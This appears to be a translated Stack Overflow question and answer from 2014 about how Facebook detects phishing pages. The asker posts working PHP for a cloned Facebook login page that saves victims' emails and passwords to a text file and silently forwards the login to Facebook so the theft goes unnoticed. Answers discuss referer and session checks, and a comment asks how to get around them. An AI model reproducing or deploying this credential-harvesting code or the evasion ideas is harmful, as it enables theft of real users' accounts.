2014-10-31 90 views
1

我在做計算機安全方面的工作,目前我正在做網絡釣魚。Facebook網絡釣魚檢測

因此,爲了教育目的,我寫了一個簡單的「釣魚網頁」,我試圖瞭解Facebook如何檢測釣魚欺詐網頁。

我的index.html是Facebook主頁,當我編輯它爲了重定向用戶到phishing.php頁面。

phishing.php

<?php 
$file = fopen('phishing.txt', 'a'); 
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n"); 
fclose($file); 
?> 

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm"> 
<?php 
    foreach ($_POST as $a => $b) { 
     echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>"; 
    } 
?> 

</form> 
<script language="JavaScript"> 
    document.frm.submit(); 
</script> 

我的問題來這裏。一切都運行良好,除外,一旦用戶(我)進入的用戶名和密碼的事實,Facebook表示:

安全的注意事項:爲了您的安全,切勿在未設在Facebook網站上輸入您的Facebook密碼 .com

那麼Facebook使用哪種機制來檢測這樣的釣魚頁?

謝謝!

+1

它可能會檢查您的引用者,看看它實際上是否來自Facebook或.. – Ali 2014-10-31 13:57:16

回答

3

我能想到的許多方面,Facebook的這是否

方法一:HTTP引用
在發送的每個HTTP請求,引用者是與它一起發送,表示你來自哪裏,Facebook位居可以簡單地做以下

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); 
if($referer != 'facebook.com') // Phishing 

方法二:會議
Facebook可能他們的index.php頁面,這將是checke上啓動一個會話Ð一旦提交登錄表單,例如

index.php 
$_SESSION['coming_from_facebook'] = true; 

login.php 
if($_SESSION['coming_from_facebook'] != true) // Phishing 

這是所有僞代碼和第一種方法是容易可旁路,因爲用戶可以修改參照網址。

+0

我有問題的方法二:如何可以$ _SESSION ['coming_from_facebook']'設置爲false在index.php?根據你說的是不是它總是被設置爲真?那麼它是如何進行網絡釣魚測試?你怎麼認爲這種方法可以繞過? – 2014-10-31 14:11:54

+1

@segfolt它總是設置爲真如果和唯一如果你首先訪問Facebook的索引,所以如果你從Facebook的索引以外的其他頁面登錄..它不起作用。 – Ali 2014-10-31 14:13:09

+0

因此,如果我在我的'phishing.php'腳本中向Facebook.com頁面做虛擬請求,我應該繞過這種方法? – 2014-10-31 14:14:20